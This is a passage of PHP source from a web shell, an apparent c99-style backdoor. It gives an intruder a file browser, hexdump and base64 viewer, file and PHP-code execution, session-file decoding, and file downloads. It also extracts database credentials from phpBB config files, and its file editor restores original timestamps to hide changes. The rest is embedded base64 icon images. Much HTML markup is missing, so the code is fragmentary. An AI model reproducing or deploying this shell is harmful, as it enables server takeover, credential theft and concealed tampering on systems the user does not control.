    "; } else {echo $ret;} } @chdir($olddir); } else {echo "PHP-code Execution (Use without PHP Braces!)"; if (empty($eval_txt)) {$eval_txt = TRUE;}} echo "


     Display in text-area 
    "; } if ($x == "f") { echo "
    "; if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { if (file_exists($d.$f)) {echo "
    Permision denied (".htmlspecialchars($d.$f).")!
    ";} else {echo "
    File does not exists (".htmlspecialchars($d.$f).")!
    Create
    ";} } else { $r = @file_get_contents($d.$f); $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} if (empty($ft)) {$ft = $rft;} $arr = array( array("","info"), array("","html"), array("","txt"), array("Code","code"), array("Session","phpsess"), array("","exe"), array("SDB","sdb"), array("","img"), array("","ini"), array("","download"), array("","notepad"), array("","edit") ); echo "Viewing file:     ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."
    Select action/file-type:
    "; foreach($arr as $t) { if ($t[1] == $rft) {echo " ".$t[0]."";} elseif ($t[1] == $ft) {echo " ".$t[0]."";} else {echo " ".$t[0]."";} echo " (+) |"; } echo "
    "; if ($ft == "info") { echo "Information:"; if (!$win) { echo "
    Path ".$d.$f."
    Size ".view_size(filesize($d.$f))."
    MD5 ".md5_file($d.$f)."
    Owner/Group "; $ow = posix_getpwuid(fileowner($d.$f)); $gr = posix_getgrgid(filegroup($d.$f)); echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); } echo "
    Perms".view_perms_color($d.$f)."
    Create time ".date("d/m/Y H:i:s",filectime($d.$f))."
    Access time ".date("d/m/Y H:i:s",fileatime($d.$f))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
    "; $fi = fopen($d.$f,"rb"); if ($fi) { if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} $n = 0; $a0 = "00000000
    "; $a1 = ""; $a2 = ""; for ($i=0; $i";} $a1 .= "
    "; $a2 .= "
    "; } } echo "". "". "". "". "
    ".$a0."".$a1."".$a2."

    "; } $encoded = ""; if ($base64 == 1) { echo "Base64 Encode
    "; $encoded = base64_encode(file_get_contents($d.$f)); } elseif($base64 == 2) { echo "Base64 Encode + Chunk
    "; $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); } elseif($base64 == 3) { echo "Base64 Encode + Chunk + Quotes
    "; $encoded = base64_encode(file_get_contents($d.$f)); $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); } elseif($base64 == 4) { $text = file_get_contents($d.$f); $encoded = base64_decode($text); echo "Base64 Decode"; if (base64_encode($encoded) != $text) {echo " (failed)";} echo "
    "; } if (!empty($encoded)) { echo "

    "; } echo "HEXDUMP: [Full] [Preview]
    Base64:
    [Encode [+chunk [+chunk+quotes [Decode

    "; } elseif ($ft == "html") { if ($white) {@ob_clean();} echo $r; if ($white) {capriv8exit();} } elseif ($ft == "txt") {echo "

    ".htmlspecialchars($r)."
    ";} elseif ($ft == "ini") {echo "
    "; var_dump(parse_ini_file($d.$f,TRUE)); echo "
    ";} elseif ($ft == "phpsess") { echo "
    ";
       $v = explode("|",$r);
       echo $v[0]."
    "; var_dump(unserialize($v[1])); echo "
    "; } elseif ($ft == "exe") { $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($exeftypes as $k=>$v) { if (in_array($ext,$v)) {$rft = $k; break;} } $cmd = str_replace("%f%",$f,$rft); echo "Execute file:

    Display in text-area
    "; } elseif ($ft == "sdb") {echo "
    "; var_dump(unserialize(base64_decode($r))); echo "
    ";} elseif ($ft == "code") { if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { $arr = explode("\n",$r); if (count($arr == 18)) { include($d.$f); echo "phpBB configuration is detected in this file!
    "; if ($dbms == "mysql4") {$dbms = "mysql";} if ($dbms == "mysql") {echo "Connect to DB

    ";} else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";} echo "Parameters for manual connect:
    "; $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
    ";} echo "

    "; } } echo "
    "; if (!empty($white)) {@ob_clean();} highlight_file($d.$f); if (!empty($white)) {capriv8exit();} echo "
    "; } elseif ($ft == "download") { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".filesize($d.$f)); header("Content-disposition: attachment; filename=\"".$f."\";"); echo $r; exit; } elseif ($ft == "notepad") { @ob_clean(); header("Content-type: text/plain"); header("Content-disposition: attachment; filename=\"".$f.".txt\";"); echo($r); exit; } elseif ($ft == "img") { $inf = getimagesize($d.$f); if (!$white) { if (empty($imgsize)) {$imgsize = 20;} $width = $inf[0]/100*$imgsize; $height = $inf[1]/100*$imgsize; echo "
    Size: "; $sizes = array("100","50","20"); foreach ($sizes as $v) { echo ""; if ($imgsize != $v ) {echo $v;} else {echo "".$v."";} echo "   "; } echo "

    "; } else { @ob_clean(); $ext = explode($f,"."); $ext = $ext[count($ext)-1]; header("Content-type: ".$inf["mime"]); readfile($d.$f); exit; } } elseif ($ft == "edit") { if (!empty($submit)) { if ($filestealth) {$stat = stat($d.$f);} $fp = fopen($d.$f,"w"); if (!$fp) {echo "Can't write to file!";} else { echo "Saved!"; fwrite($fp,$edit_text); fclose($fp); if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} $r = $edit_text; } } $rows = count(explode("\r\n",$r)); if ($rows < 10) {$rows = 10;} if ($rows > 30) {$rows = 30;} echo "
      
    "; } elseif (!empty($ft)) {echo "
    Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.
    ";} else {echo "
    Unknown extension (".$ext."), please, select type manually.
    ";} } echo "
    \n"; } } else { @ob_clean(); $images = array( "arrow_ltr"=> "R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", "back"=> "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". "Wg0JADs=", "buffer"=> "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", "change"=> "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". "zMshADs=", "delete"=> "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". "jwVFHBgiEGQFIgQasYkcSbJQIAA7", "download"=> "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", "forward"=> "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". "WqsJADs=", "home"=> "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", "mode"=> "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", "search"=> "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", "setup"=> "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", "small_dir"=> "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", "small_unk"=> "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". "yAsokBkQADs=", "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", "sort_asc"=> "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", "sort_desc"=> "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", "sql_button_drop"=> "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". "AQEAOw==", "sql_button_empty"=> "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", "sql_button_insert"=> "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", "up"=> "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", "write"=> "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", "ext_asp"=> "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", "ext_mp3"=> "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", "ext_avi"=> "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". "PYXCyg+V2i44XeRmSfYqsGhAAgA7", "ext_cgi"=> "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". "RYtMAgEAOw==", "ext_cmd"=> "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". "dmrYAMn1onq/YKpjvEgAADs=", "ext_cpp"=> "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". "Eq7YrLDE7a4SADs=", "ext_ini"=> "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". "SnEjgPVarHEHgrB43JvszsQEADs=", "ext_diz"=> "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 